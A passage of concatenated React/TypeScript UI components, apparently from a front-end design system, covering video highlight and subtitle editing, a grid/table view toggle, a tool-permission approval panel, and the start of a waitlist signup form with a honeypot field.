loading={isProcessing}\n        canEnrich={canEnrich}\n        requiredFields={requiredFields}\n        status={status}\n        statusMessage={statusMessage}\n        disabledMessage={disabledMessage}\n        showCancel={showCancel}\n        onCancel={onCancel}\n        isCancelling={isCancelling}\n      />\n\n      {/* 2. Transcript, Summary & Subtitles Editor */}\n      <TranscriptSummaryEditor\n        videoSummary={videoSummary}\n        onVideoSummaryChange={onVideoSummaryChange}\n        transcript={transcript}\n        onTranscriptChange={onTranscriptChange}\n        isAIGenerated={isAIGenerated}\n        videoSummaryConfidence={videoSummaryConfidence}\n        transcriptConfidence={transcriptConfidence}\n        videoSummaryLabel={videoSummaryLabel}\n        videoSummaryHelperText={videoSummaryHelperText}\n        videoSummaryPlaceholder={videoSummaryPlaceholder}\n        transcriptLabel={transcriptLabel}\n        transcriptHelperText={transcriptHelperText}\n        transcriptPlaceholder={transcriptPlaceholder}\n        transcriptMinHeight={transcriptMinHeight}\n        subtitles={subtitles}\n        onSubtitlesChange={onSubtitlesChange}\n        disabled={disabled}\n      />\n    </div>\n  );\n}\n\nexport default TranscribeAndSummarizeCombinedSection;\n","\"use client\";\n\nimport React, { ReactNode } from 'react';\nimport { Sparkles, Upload } from 'lucide-react';\nimport { AIGeneratedBadge } from '../ui/ai-generated-badge';\nimport { AIEnrichSection } from './ai-enrich';\nimport { HighlightConfigSection } from './highlight-config-section';\nimport { SubtitlesEditor } from './subtitles-editor';\nimport { Label } from '../ui/label';\nimport { Badge } from '../ui/badge';\nimport { Button } from '../ui/button';\nimport type { AIRequiredField } from './ai-enrich';\n\nexport interface HighlightVideoCombinedSectionProps {\n  // ===== HighlightConfigSection Props =====\n  /** Target highlight duration in seconds */\n  targetDurationSeconds: number;\n  /** Handler for duration changes */\n  onTargetDurationChange: (seconds: number) => void;\n  /** Whether config section is disabled */\n  configDisabled?: boolean;\n\n  // ===== HighlightGenerationSection Props =====\n  /** Handler to trigger highlight generation */\n  onGenerateHighlight: () => void;\n  /** Whether generation is currently processing */\n  isProcessing: boolean;\n  /** Whether the generate button can be clicked */\n  canEnrich: boolean;\n  /** Required fields to display */\n  requiredFields: AIRequiredField[];\n  /** Current status of the operation */\n  status?: 'loading' | 'success' | 'error' | undefined;\n  /** Status message to display */\n  statusMessage?: string;\n  /** Message shown when button is disabled */\n  disabledMessage?: string;\n  /** Whether cancel is available */\n  showCancel?: boolean;\n  /** Handler to cancel processing */\n  onCancel?: () => void;\n  /** Whether cancellation is in progress */\n  isCancelling?: boolean;\n  /** Whether result already exists (affects button label) */\n  hasResult?: boolean;\n  /** Custom title */\n  title?: string;\n  /** Custom description - if not provided, auto-generated from duration */\n  description?: string;\n  /** Custom button label */\n  buttonLabel?: string;\n  /** Custom loading label */\n  loadingLabel?: string;\n\n  // ===== HighlightVideoPreview Props =====\n  /** Highlight video URL */\n  highlightVideoUrl?: string | null;\n  /** Video thumbnail URL */\n  highlightVideoThumbnail?: string | null;\n  /** Video duration in milliseconds */\n  highlightVideoDurationMs?: number | null;\n  /** Whether video was AI generated */\n  highlightVideoSource?: 'manual' | 'ai_generated' | null;\n  /** Handler to upload a new highlight video - receives File, should return uploaded URL */\n  onUpload: (file: File) => Promise<string>;\n  /** Handler to delete the highlight video */\n  onDelete: () => Promise<void>;\n  /** Whether upload is in progress */\n  isUploading?: boolean;\n  /** Custom label for preview section */\n  previewLabel?: string;\n  /** Custom empty state message */\n  emptyMessage?: string;\n  /** Upload progress component (optional) */\n  uploadProgressComponent?: ReactNode;\n\n  // ===== Highlight Subtitles (SRT) Props =====\n  /** Highlight captions SRT content (highlight_srt_content) */\n  subtitles?: string;\n  /** Callback when highlight subtitles change */\n  onSubtitlesChange?: (value: string) => void;\n  /** Whether the highlight subtitles were AI generated */\n  isSubtitlesAIGenerated?: boolean;\n  /** Video preview component - receives video data, should render the preview */\n  renderVideoPreview: (props: {\n    videoUrl: string;\n    title: string;\n    thumbnailUrl?: string;\n    onDelete: () => Promise<void>;\n  }) => ReactNode;\n\n  /** Additional class name */\n  className?: string;\n}\n\n/**\n * HighlightVideoCombinedSection - Unified component combining Config + AI Enrich + Preview\n *\n * This component provides a complete UI for highlight video generation with:\n * 1. HighlightConfigSection for duration and subtitle settings\n * 2. AIEnrichSection for triggering generation and showing status\n * 3. HighlightVideoPreview for viewing/uploading highlight videos\n *\n * Used by both CustomerInterview and ProductRelease modals.\n */\nexport function HighlightVideoCombinedSection({\n  // Config props\n  targetDurationSeconds,\n  onTargetDurationChange,\n  configDisabled = false,\n  // Generation props\n  onGenerateHighlight,\n  isProcessing,\n  canEnrich,\n  requiredFields,\n  status,\n  statusMessage,\n  disabledMessage = \"Upload a video and run transcription first\",\n  showCancel = true,\n  onCancel,\n  isCancelling = false,\n  hasResult = false,\n  title = \"Highlight Video\",\n  description,\n  buttonLabel,\n  loadingLabel = \"Generating highlight...\",\n  // Preview props\n  highlightVideoUrl,\n  highlightVideoThumbnail,\n  highlightVideoDurationMs,\n  highlightVideoSource,\n  onUpload,\n  onDelete,\n  isUploading = false,\n  previewLabel = \"Highlight Video\",\n  emptyMessage = \"No highlight video yet. Use AI generation above or upload manually.\",\n  uploadProgressComponent,\n  // Highlight subtitles props\n  subtitles,\n  onSubtitlesChange,\n  isSubtitlesAIGenerated = false,\n  renderVideoPreview,\n  // Common\n  className = '',\n}: HighlightVideoCombinedSectionProps) {\n  const defaultButtonLabel = hasResult ? \"Regenerate Highlight\" : \"Generate Highlight\";\n  const defaultDescription = `Generate a ${Math.floor(targetDurationSeconds / 60)}-minute summary video using Claude AI + Shotstack`;\n\n  const formatDuration = (ms: number) => {\n    const minutes = Math.floor(ms / 60000);\n    const seconds = Math.floor((ms % 60000) / 1000);\n    return `${minutes}:${String(seconds).padStart(2, '0')}`;\n  };\n\n  const handleUploadClick = () => {\n    const input = document.createElement('input');\n    input.type = 'file';\n    input.accept = 'video/*';\n    input.onchange = async (e: Event) => {\n      const target = e.target as HTMLInputElement;\n      const file = target.files?.[0];\n      if (!file) return;\n      await onUpload(file);\n    };\n    input.click();\n  };\n\n  return (\n    <div className={`space-y-4 ${className}`}>\n      {/* 2. AI Enrich Button Section */}\n      <AIEnrichSection\n        configSlot={\n          <HighlightConfigSection\n            targetDurationSeconds={targetDurationSeconds}\n            onTargetDurationChange={onTargetDurationChange}\n            disabled={configDisabled}\n          />\n        }\n        title={title}\n        description={description || defaultDescription}\n        icon={<Sparkles className=\"h-5 w-5\" />}\n        buttonLabel={buttonLabel || defaultButtonLabel}\n        loadingLabel={loadingLabel}\n        onEnrich={onGenerateHighlight}\n        loading={isProcessing}\n        canEnrich={canEnrich}\n        requiredFields={requiredFields}\n        status={status}\n        statusMessage={statusMessage}\n        disabledMessage={disabledMessage}\n        showCancel={showCancel}\n        onCancel={onCancel}\n        isCancelling={isCancelling}\n      />\n\n      {/* 3. Preview + Manual Upload Section */}\n      <div className=\"space-y-2\">\n        <div className=\"flex items-center justify-between mb-2\">\n          <div className=\"flex items-center gap-2\">\n            <Label>{previewLabel}</Label>\n            {highlightVideoSource === 'ai_generated' && (\n              <AIGeneratedBadge />\n            )}\n            {highlightVideoDurationMs && (\n              <Badge variant=\"outline\" className=\"text-h6\">\n                {formatDuration(highlightVideoDurationMs)}\n              </Badge>\n            )}\n          </div>\n          <Button\n            type=\"button\"\n            variant=\"outline\"\n            size=\"small-legacy\"\n            leftIcon={<Upload className=\"h-4 w-4\" />}\n            onClick={handleUploadClick}\n            disabled={isUploading}\n          >\n            {isUploading ? 'Uploading...' : 'Upload Highlight'}\n          </Button>\n        </div>\n\n        {uploadProgressComponent}\n\n        {highlightVideoUrl ? (\n          renderVideoPreview({\n            videoUrl: highlightVideoUrl,\n            title: 'Highlight Video',\n            thumbnailUrl: highlightVideoThumbnail || undefined,\n            onDelete,\n          })\n        ) : (\n          <p className=\"text-h6 text-ods-text-secondary italic\">\n            {emptyMessage}\n          </p>\n        )}\n      </div>\n\n      {/* 4. Highlight Subtitles (SRT) — the SAME SubtitlesEditor the main\n          video's TranscriptSummaryEditor renders, bound to\n          highlight_srt_content instead of srt_content. */}\n      <SubtitlesEditor\n        id=\"highlight-subtitles\"\n        subtitles={subtitles}\n        onSubtitlesChange={onSubtitlesChange}\n        label=\"Highlight Subtitles (SRT)\"\n        helperText=\"SRT captions transcribed from the highlight reel (AssemblyAI). Served as a selectable text track on the highlight player. Editable for fine-tuning.\"\n        isAIGenerated={isSubtitlesAIGenerated}\n      />\n    </div>\n  );\n}\n\nexport default HighlightVideoCombinedSection;\n","\"use client\"\n\nimport React from 'react'\nimport { ToggleGroup, ToggleGroupItem } from '../ui'\nimport { GridViewIcon, TableViewIcon } from '../icons'\nimport { cn } from '../../utils/cn'\n\ntype ViewMode = 'grid' | 'table'\n\ninterface ViewToggleProps {\n  /**\n   * Current selected view mode\n   */\n  value: ViewMode\n  /**\n   * Callback fired when view mode changes\n   */\n  onValueChange: (value: ViewMode) => void\n  /**\n   * Whether the toggle is disabled\n   */\n  disabled?: boolean\n  /**\n   * Additional CSS classes for the toggle group\n   */\n  className?: string\n  /**\n   * Size of the toggle buttons\n   */\n  size?: 'default' | 'sm' | 'lg'\n  /**\n   * Custom ARIA label for accessibility\n   */\n  'aria-label'?: string\n}\n\n/**\n * ViewToggle - A 2-state button component for switching between grid and table views\n *\n * Built on top of Radix UI ToggleGroup for accessibility and proper keyboard navigation.\n * Uses ODS design tokens for consistent theming across platforms.\n *\n * @example\n * ```tsx\n * const [viewMode, setViewMode] = useState<'grid' | 'table'>('table')\n *\n * <ViewToggle\n *   value={viewMode}\n *   onValueChange={setViewMode}\n *   className=\"bg-ods-card border border-ods-border\"\n * />\n * ```\n */\nexport function ViewToggle({\n  value,\n  onValueChange,\n  disabled = false,\n  className,\n  size = 'default',\n  'aria-label': ariaLabel = 'Switch between grid and table view',\n}: ViewToggleProps) {\n  return (\n    <ToggleGroup\n      type=\"single\"\n      value={value}\n      onValueChange={(newValue: ViewMode) => {\n        // Only update if we have a valid value (user clicked a different option)\n        if (newValue && newValue !== value) {\n          onValueChange(newValue)\n        }\n      }}\n      className={cn(\n        \"flex bg-ods-card border border-ods-border rounded-[6px] p-1\",\n        className\n      )}\n      disabled={disabled}\n      aria-label={ariaLabel}\n    >\n      <ToggleGroupItem\n        value=\"grid\"\n        size={size}\n        className={cn(\n          \"p-2 rounded transition-all duration-200\",\n          value === 'grid'\n            ? \"bg-ods-accent text-ods-text-on-accent\"\n            : \"text-ods-text-secondary hover:text-ods-text-primary hover:bg-ods-bg-hover\",\n          disabled && \"opacity-50 cursor-not-allowed\"\n        )}\n        aria-label=\"Grid view\"\n        disabled={disabled}\n      >\n        <GridViewIcon \n          className=\"w-5 h-5\" \n          color={\n            disabled \n              ? \"var(--ods-system-greys-grey)\" \n              : value === 'grid' \n              ? \"var(--ods-system-greys-black)\" \n              : \"var(--ods-system-greys-grey)\"\n          }\n        />\n      </ToggleGroupItem>\n\n      <ToggleGroupItem\n        value=\"table\"\n        size={size}\n        className={cn(\n          \"p-2 rounded transition-all duration-200\",\n          value === 'table'\n            ? \"bg-ods-accent text-ods-text-on-accent\"\n            : \"text-ods-text-secondary hover:text-ods-text-primary hover:bg-ods-bg-hover\",\n          disabled && \"opacity-50 cursor-not-allowed\"\n        )}\n        aria-label=\"Table view\"\n        disabled={disabled}\n      >\n        <TableViewIcon \n          className=\"w-5 h-5\" \n          color={\n            disabled \n              ? \"var(--ods-system-greys-grey)\" \n              : value === 'table' \n              ? \"var(--ods-system-greys-black)\" \n              : \"var(--ods-system-greys-grey)\"\n          }\n        />\n      </ToggleGroupItem>\n    </ToggleGroup>\n  )\n}\n\n// Type exports for consumers\nexport type { ViewMode, ViewToggleProps }","\"use client\"\n\nimport * as React from 'react'\nimport { useEffect, useState } from 'react'\nimport { ChevronDown, Shield } from 'lucide-react'\nimport { cn } from '../../utils/cn'\nimport { useCollapsible } from '../chat/hooks/use-collapsible'\nimport { ToolIcon } from '../tool-icon'\nimport { Button } from '../ui/button'\nimport {\n  DropdownMenu,\n  DropdownMenuContent,\n  DropdownMenuItem,\n  DropdownMenuTrigger,\n} from '../ui/dropdown-menu'\nimport {\n  ApprovalLevel,\n  PermissionCategory,\n  PermissionPolicy,\n  PolicyConfigurationPanelProps\n} from '../../types/permissions'\n\nconst approvalLevelLabels: Record<ApprovalLevel, string> = {\n  ALLOW: 'Allow',\n  ASK_USER: 'Ask User',\n  ASK_TECHNICIAN: 'Ask Technician',\n  DENY: 'Restrict',\n}\n\nconst approvalLevelOptions = (Object.keys(approvalLevelLabels) as ApprovalLevel[]).map(\n  value => ({ value, label: approvalLevelLabels[value] })\n)\n\nconst POLICY_LEVEL_WIDTH = 'w-[180px]'\nconst CATEGORY_LEVEL_WIDTH = 'w-[256px]'\n\nconst getApprovalLevelLabel = (level: ApprovalLevel): string => approvalLevelLabels[level] ?? level\n\nconst ApprovalLevelDropdown: React.FC<{\n  value: ApprovalLevel | undefined;\n  onChange: (level: ApprovalLevel | undefined) => void;\n  /** Adds the \"Clear Global Permission\" item (category bulk dropdown). */\n  allowClear?: boolean;\n  triggerClassName?: string;\n  contentClassName?: string;\n}> = ({ value, onChange, allowClear = false, triggerClassName, contentClassName }) => (\n  <DropdownMenu>\n    <DropdownMenuTrigger asChild>\n      <Button\n        variant=\"outline\"\n        rightIcon={<ChevronDown className=\"h-6 w-6 text-ods-text-secondary\" />}\n        className={cn(\n          \"!text-h6 bg-ods-card border border-ods-border rounded-md flex gap-[var(--spacing-system-xsf)] items-center justify-between !px-[var(--spacing-system-xsf)] py-[var(--spacing-system-xsf)] hover:bg-ods-bg-hover transition-colors h-auto\",\n          value ? \"text-ods-text-primary\" : \"text-ods-text-secondary\",\n          triggerClassName\n        )}\n      >\n        {value ? getApprovalLevelLabel(value) : 'Set Global Permission'}\n      </Button>\n    </DropdownMenuTrigger>\n    <DropdownMenuContent align=\"end\" className={contentClassName}>\n      {allowClear && (\n        <DropdownMenuItem onClick={() => onChange(undefined)} className=\"text-h6\">\n          Clear Global Permission\n        </DropdownMenuItem>\n      )}\n      {approvalLevelOptions.map(option => (\n        <DropdownMenuItem\n          key={option.value}\n          onClick={() => onChange(option.value)}\n          className=\"text-h6\"\n        >\n          {option.label}\n        </DropdownMenuItem>\n      ))}\n    </DropdownMenuContent>\n  </DropdownMenu>\n)\n\nconst PolicyRow: React.FC<{\n  policy: PermissionPolicy;\n  categoryId: string;\n  editMode: boolean;\n  onPermissionChange: (categoryId: string, policyId: string, level: ApprovalLevel) => void;\n}> = ({ policy, categoryId, editMode, onPermissionChange }) => {\n  const handleChange = (level: ApprovalLevel | undefined) => {\n    if (level) onPermissionChange(categoryId, policy.id, level)\n  }\n\n  return (\n    <div className=\"bg-ods-bg border-b last:border-b-0 border-ods-border flex gap-[var(--spacing-system-m)] items-start md:items-center px-[var(--spacing-system-m)] py-[var(--spacing-system-sf)]\">\n      {/* Tool Icon */}\n      <div className=\"bg-ods-bg border border-ods-border rounded-md flex items-center justify-center w-8 h-8 shrink-0\">\n        <ToolIcon toolType={policy.toolName} size={16} />\n      </div>\n\n      {/* Policy Info — on mobile the approval level stacks below the pattern */}\n      <div className=\"flex-1 flex flex-col min-w-0\">\n        <p className=\"text-h4 text-ods-text-primary truncate\" title={policy.name}>\n          {policy.name}\n        </p>\n        <p className=\"text-h6 text-ods-text-secondary break-all\">\n          {policy.commandPattern}\n        </p>\n        {editMode ? (\n          <div className=\"md:hidden mt-[var(--spacing-system-xsf)]\">\n            <ApprovalLevelDropdown\n              value={policy.approvalLevel}\n              onChange={handleChange}\n              triggerClassName=\"w-full\"\n              contentClassName={POLICY_LEVEL_WIDTH}\n            />\n          </div>\n        ) : policy.approvalLevel ? (\n          <span className=\"md:hidden text-h4 text-ods-text-primary\">\n            {getApprovalLevelLabel(policy.approvalLevel)}\n          </span>\n        ) : null}\n      </div>\n\n      {/* Approval Level column (desktop only) */}\n      <div className=\"hidden md:block shrink-0\">\n        {editMode ? (\n          <ApprovalLevelDropdown\n            value={policy.approvalLevel}\n            onChange={handleChange}\n            triggerClassName={POLICY_LEVEL_WIDTH}\n            contentClassName={POLICY_LEVEL_WIDTH}\n          />\n        ) : (\n          <div className={cn(\"px-[var(--spacing-system-sf)] py-[var(--spacing-system-xsf)]\", POLICY_LEVEL_WIDTH)}>\n            {policy.approvalLevel && (\n              <span className=\"text-h4 text-ods-text-primary\">\n                {getApprovalLevelLabel(policy.approvalLevel)}\n              </span>\n            )}\n          </div>\n        )}\n      </div>\n    </div>\n  )\n}\n\nconst CategorySection: React.FC<{\n  category: PermissionCategory;\n  editMode: boolean;\n  isExpanded: boolean;\n  /** Last bulk level applied to this category (display-only, edit mode). */\n  bulkLevel: ApprovalLevel | undefined;\n  onToggle: (categoryId: string) => void;\n  onBulkLevelChange: (categoryId: string, level: ApprovalLevel | undefined) => void;\n  onPolicyPermissionChange: (categoryId: string, policyId: string, level: ApprovalLevel) => void;\n}> = ({\n  category,\n  editMode,\n  isExpanded,\n  bulkLevel,\n  onToggle,\n  onBulkLevelChange,\n  onPolicyPermissionChange\n}) => {\n  const { innerRef, containerStyle } = useCollapsible({ expanded: isExpanded, durationMs: 300 })\n  const handleBulkChange = (level: ApprovalLevel | undefined) => onBulkLevelChange(category.id, level)\n\n  return (\n    <>\n      {/* Category Header */}\n      <div\n        className=\"bg-ods-card border-t first:border-t-0 border-ods-border flex gap-[var(--spacing-system-m)] items-center pl-[var(--spacing-system-m)] pr-[var(--spacing-system-xsf)] py-[var(--spacing-system-s)] cursor-pointer hover:bg-ods-bg-hover transition-colors\"\n        onClick={() => onToggle(category.id)}\n      >\n        {/* Category Icon */}\n        <div className=\"bg-ods-bg border border-ods-border rounded-md flex items-center justify-center w-8 h-8 shrink-0\">\n          <div className=\"text-ods-text-secondary\">\n            {category.icon ?? <Shield className=\"w-4 h-4\" />}\n          </div>\n        </div>\n\n        {/* Category Info — on mobile the bulk dropdown stacks below the count */}\n        <div className=\"flex-1 flex flex-col min-w-0\">\n          <p className=\"text-h4 text-ods-text-primary truncate\" title={category.name}>\n            {category.name}\n          </p>\n          <p className=\"text-h6 text-ods-text-secondary\">\n            {category.policies.length} Configurations\n          </p>\n          {editMode && (\n            <div className=\"md:hidden mt-[var(--spacing-system-xsf)]\" onClick={(e) => e.stopPropagation()}>\n              <ApprovalLevelDropdown\n                value={bulkLevel}\n                onChange={handleBulkChange}\n                allowClear\n                triggerClassName=\"w-full\"\n                contentClassName={CATEGORY_LEVEL_WIDTH}\n              />\n            </div>\n          )}\n        </div>\n\n        {/* Global Permission column (desktop only) */}\n        {editMode ? (\n          <div className=\"hidden md:block shrink-0\" onClick={(e) => e.stopPropagation()}>\n            <ApprovalLevelDropdown\n              value={bulkLevel}\n              onChange={handleBulkChange}\n              allowClear\n              triggerClassName={CATEGORY_LEVEL_WIDTH}\n              contentClassName={CATEGORY_LEVEL_WIDTH}\n            />\n          </div>\n        ) : (\n          <div className={cn(\"hidden md:block px-[var(--spacing-system-sf)] py-[var(--spacing-system-xsf)] shrink-0\", CATEGORY_LEVEL_WIDTH)} />\n        )}\n\n        {/* Expand/Collapse Button */}\n        <Button\n          type=\"button\"\n          variant=\"transparent\"\n          onClick={(e) => {\n            e.stopPropagation();\n            onToggle(category.id);\n          }}\n          leftIcon={<ChevronDown\n            className={cn(\n              \"h-6 w-6 text-ods-text-primary transition-transform duration-300\",\n              isExpanded && \"rotate-180\"\n            )}\n          />}\n          className=\"rounded-md h-auto w-auto shrink-0\"\n          aria-label={isExpanded ? \"Collapse\" : \"Expand\"}\n        />\n      </div>\n\n      {/* Policies List */}\n      <div\n        style={{\n          ...containerStyle,\n          transition: `${containerStyle.transition}, opacity 300ms ease-in-out, visibility 300ms`,\n          // visibility drops collapsed content from the tab order and a11y\n          // tree; its discrete transition delays hiding until the fade ends.\n          visibility: isExpanded ? 'visible' : 'hidden',\n        }}\n        className={isExpanded ? \"opacity-100\" : \"opacity-0\"}\n      >\n        <div ref={innerRef} className=\"px-[var(--spacing-system-mf)] pb-[var(--spacing-system-mf)] pt-0\">\n          <div className=\"border border-ods-border rounded-md overflow-hidden\">\n            {category.policies.map((policy) => (\n              <PolicyRow\n                key={policy.id}\n                policy={policy}\n                categoryId={category.id}\n                editMode={editMode}\n                onPermissionChange={onPolicyPermissionChange}\n              />\n            ))}\n          </div>\n        </div>\n      </div>\n    </>\n  )\n}\n\n/**\n * Grouped list of permission categories with per-policy approval dropdowns.\n * Presentation state — which categories are expanded and the last bulk level\n * picked per category — lives inside the panel, so callers pass pure data and\n * background data refreshes never collapse the user's view. Bulk selections\n * reset when `editMode` changes.\n *\n * Responsive: below `md` the approval level / dropdowns stack inside the text\n * column (per the ODS mobile design); at `md+` they render as fixed-width\n * right-hand columns.\n */\nexport const PolicyConfigurationPanel: React.FC<PolicyConfigurationPanelProps> = ({\n  categories,\n  editMode,\n  onPolicyPermissionChange,\n  onCategoryPermissionChange,\n  className\n}) => {\n  const [expandedIds, setExpandedIds] = useState<ReadonlySet<string>>(new Set())\n  const [bulkLevels, setBulkLevels] = useState<Record<string, ApprovalLevel | undefined>>({})\n\n  // biome-ignore lint/correctness/useExhaustiveDependencies: editMode is the reset trigger, not read in the body\n  useEffect(() => {\n    setBulkLevels({})\n  }, [editMode])\n\n  const handleToggle = (categoryId: string) => {\n    setExpandedIds(prev => {\n      const next = new Set(prev)\n      if (next.has(categoryId)) next.delete(categoryId)\n      else next.add(categoryId)\n      return next\n    })\n  }\n\n  const handleBulkLevelChange = (categoryId: string, level: ApprovalLevel | undefined) => {\n    setBulkLevels(prev => ({ ...prev, [categoryId]: level }))\n    if (level) {\n      onCategoryPermissionChange(categoryId, level)\n    }\n  }\n\n  return (\n    <div className={cn(\n      \"bg-ods-card border border-ods-border rounded-md overflow-hidden\",\n      className\n    )}>\n      {categories.map((category) => (\n        <CategorySection\n          key={category.id}\n          category={category}\n          editMode={editMode}\n          isExpanded={expandedIds.has(category.id)}\n          bulkLevel={bulkLevels[category.id]}\n          onToggle={handleToggle}\n          onBulkLevelChange={handleBulkLevelChange}\n          onPolicyPermissionChange={onPolicyPermissionChange}\n        />\n      ))}\n    </div>\n  )\n}\n\nPolicyConfigurationPanel.displayName = 'PolicyConfigurationPanel'\n","\"use client\"\n\nimport { OpenFrameLogo } from '../icons'\nimport { Button } from '../ui/button'\nimport { CheckboxBlock } from '../ui/checkbox-block'\nimport { Input } from '../ui/input'\nimport { PhoneInput } from '../ui/phone-input'\nimport { HoneypotField } from '../ui/honeypot-field'\nimport { useHumanitySignals } from '../../hooks/use-humanity-signals'\nimport type { HumanitySignals } from '../../utils/humanity-signals'\nimport { useToast } from '../../hooks/use-toast'\nimport { cn } from '../../utils/cn'\nimport { hasGenericEmailDomain } from '../../utils/generic-domain-utils'\nimport { formatPhoneE164 } from '../../utils/country-phone-utils'\nimport { getCountries } from 'libphonenumber-js'\nimport type { CountryCode } from 'libphonenumber-js'\nimport { useEffect, useState } from 'react'\n\nexport interface WaitlistFormProps {\n  /** Optional ID for the form container (for anchor links) */\n  id?: string\n  /** Optional CSS classes for the container */\n  className?: string\n  /**\n   * Registration handler — called with email, optional E.164 phone, and the\n   * invisible bot-protection signals (honeypot + timing) to forward into the\n   * POST body. Must throw on failure (toast is handled by the form). `signals`\n   * is optional for backward compatibility with older callers.\n   */\n  onRegister: (email: string, phone?: string, signals?: HumanitySignals) => Promise<void>\n  /** Whether a registration request is currently in flight */\n  isSubmitting?: boolean\n  /** Whether registration completed successfully */\n  isSuccess?: boolean\n  /** Pre-filled email (e.g. from auth context) */\n  defaultEmail?: string\n  /** Pre-filled phone (e.g. from user profile) */\n  defaultPhone?: string\n  /** Geo-detection API endpoint. Defaults to \"/api/geo\". Set to null to disable. */\n  geoApiUrl?: string | null\n  /** Label on the submit button. Defaults to \"Get Beta Access\" */\n  submitLabel?: string\n  /** Label shown after success. Defaults to \"You're in!\" */\n  successLabel?: string\n  /** Label shown on the SMS consent checkbox */\n  smsCheckboxLabel?: string\n  /** Warning shown when a generic email domain is detected */\n  genericEmailHint?: string\n  /** Warning shown when phone validation fails */\n  invalidPhoneHint?: string\n  /** URL for the Terms of Service link in the consent text */\n  termsOfServiceUrl?: string\n  /** URL for the Privacy Policy link in the consent text */\n  privacyPolicyUrl?: string\n  /** SMS consent text shown below the checkbox label */\n  consentText?: string\n}\n\n/**\n * WaitlistForm\n *\n * Platform-agnostic waitlist registration form.\n * All app-specific logic (auth, API calls, platform detection) is injected via props.\n *\n * Features:\n * - Email + optional phone with country code selector\n * - Generic email domain warning\n * - Phone validation warning\n * - Auto geo-detection for country code\n * - Enter key support\n * - Loading and success states\n * - Hydration-safe skeleton\n */\nexport function WaitlistForm({\n  id = \"waitlist-form\",\n  className,\n  onRegister,\n  isSubmitting = false,\n  isSuccess = false,\n  defaultEmail = '',\n  defaultPhone = '',\n  geoApiUrl = '/api/geo',\n  submitLabel = 'Get Beta Access',\n  successLabel = \"You're in!\",\n  smsCheckboxLabel = \"Send me an SMS if my email gets caught by spam filters\",\n  genericEmailHint = \"Use a work email \\u2014 personal emails may not be verified or approved.\",\n  invalidPhoneHint = \"Invalid phone number format.\",\n  termsOfServiceUrl,\n  privacyPolicyUrl,\n  consentText = \"I agree to receive recurring automated text messages at the phone number provided. Msg & data rates may apply. Msg frequency varies. Reply HELP for help and STOP to cancel.\",\n}: WaitlistFormProps) {\n  const [email, setEmail] = useState(defaultEmail)\n  const [phone, setPhone] = useState(defaultPhone)\n  const [countryCode, setCountryCode] = useState<CountryCode>('US')\n  const { toast } = useToast()\n  const { honeypotInputProps, getSignals, resetSignals } = useHumanitySignals()\n  const [smsConsent, setSmsConsent] = useState(false)\n  const [isClient, setIsClient] = useState(false)\n  const [isPhoneInvalid, setIsPhoneInvalid] = useState(false)\n  const [showConsentError, setShowConsentError] = useState(false)\n\n  const isMailDomainGeneric = hasGenericEmailDomain(email)\n\n  // Sync defaultEmail when it changes (e.g. auth loads)\n  useEffect(() => {\n    if (defaultEmail) {\n      setEmail(defaultEmail)\n    }\n  }, [defaultEmail])\n\n  // Client-side hydration + geo detection\n  useEffect(() => {\n    setIsClient(true)\n    if (!geoApiUrl) return\n\n    const supportedCountries = new Set(getCountries())\n    fetch(geoApiUrl)\n      .then(res => res.json())\n      .then(({ country }) => {\n        if (country && supportedCountries.has(country)) {\n          setCountryCode(country as CountryCode)\n        }\n      })\n      .catch(() => { /* keep default US */ })\n  }, [geoApiUrl])\n\n  const handleSubmit = async () => {\n    if (isSubmitting) return\n    if (!email.trim()) {\n      toast({\n        title: 'Email required',\n        description: 'Please enter a valid email address.',\n        variant: 'destructive'\n      })\n      return\n    }\n\n    if (phone.trim() && !smsConsent) {\n      setShowConsentError(true)\n      return\n    }\n\n    const finalPhone = phone ? formatPhoneE164(phone, countryCode) : undefined\n\n    try {\n      await onRegister(email, finalPhone, getSignals())\n      resetSignals()\n    } catch {\n      // caller's onRegister should handle its own error toasts if needed\n    }\n  }\n\n  if (!isClient) {\n    return (\n      <div className={cn(\n        \"flex flex-col gap-[var(--spacing-system-l)] rounded-[6px] border border-ods-border bg-ods-bg p-[var(--spacing-system-m)]\",\n        className\n      )}>\n        {/* Email input skeleton */}\n        <div className=\"w-full h-12 bg-ods-card border border-ods-border rounded-[6px] animate-pulse\" />\n        {/* Phone input skeleton */}\n        <div className=\"flex gap-[var(--spacing-system-xs)] w-full\">\n          <div className=\"w-[130px] h-12 bg-ods-card border border-ods-border rounded-[6px] animate-pulse shrink-0\" />\n          <div className=\"flex-1 h-12 bg-ods-card border border-ods-border rounded-[6px] animate-pulse\" />\n        </div>\n        {/* Disclaimer + button skeleton */}\n        <div className=\"flex flex-col gap-[var(--spacing-system-m)] items-end w-full\">\n          <div className=\"w-full rounded-[6px] border border-ods-border bg-ods-bg animate-pulse py-6 px-4\" />\n          <div className=\"h-12 w-[200px] bg-ods-card border border-ods-border rounded-[6px] animate-pulse\" />\n        </div>\n      </div>\n    )\n  }\n\n  const showEmailWarning = isMailDomainGeneric\n  const showPhoneWarning = isPhoneInvalid\n\n  const handleKeyDown = (e: React.KeyboardEvent) => {\n    if (e.key === 'Enter') {\n      e.preventDefault()\n      handleSubmit()\n    }\n  }\n\n  return (\n    <div\n      id={id}\n      className={cn(\n        \"flex flex-col gap-[var(--spacing-system-l)] items-end rounded-[6px] border border-ods-border bg-ods-bg p-[var(--spacing-system-m)]\",\n        className\n      )}\n    >\n      {/* Invisible honeypot — real users never fill it; bots that fill every field trip it. */}\n      <HoneypotField {...honeypotInputProps} />\n\n      {/* Email Input */}\n      <Input\n        type=\"email\"\n        value={email}\n        onChange={(e) => setEmail(e.target.value)}\n        required\n        disabled={isSubmitting}\n        placeholder=\"Enter your Business Email\"\n        onKeyDown={handleKeyDown}\n        error={showEmailWarning ? genericEmailHint : undefined}\n        errorVariant=\"warning\"\n      />\n\n      {/* Phone Input */}\n      <div className=\"relative w-full\">\n        <PhoneInput\n          value={phone}\n          countryCode={countryCode}\n          onPhoneChange={(val) => {\n            setPhone(val)\n            if (!val.trim()) setShowConsentError(false)\n          }}\n          onCountryChange={setCountryCode}\n          onValidationChange={setIsPhoneInvalid}\n          disabled={isSubmitting}\n          placeholder=\"Phone (optional)\"\n          onKeyDown={handleKeyDown}\n        />\n        {showPhoneWarning && (\n          <p className=\"text-h6 absolute bottom-0 left-0 translate-y-full text-ods-warning truncate\" title={invalidPhoneHint}>\n            {invalidPhoneHint}\n          </p>\n        )}\n      </div>\n      {/* SMS Consent + Button Section */}\n      <div className=\"flex flex-col gap-[var(--spacing-system-l)] items-end w-full\">\n\n        {/* SMS Consent Checkbox */}\n        <CheckboxBlock\n          checked={smsConsent}\n          onCheckedChange={(checked) => 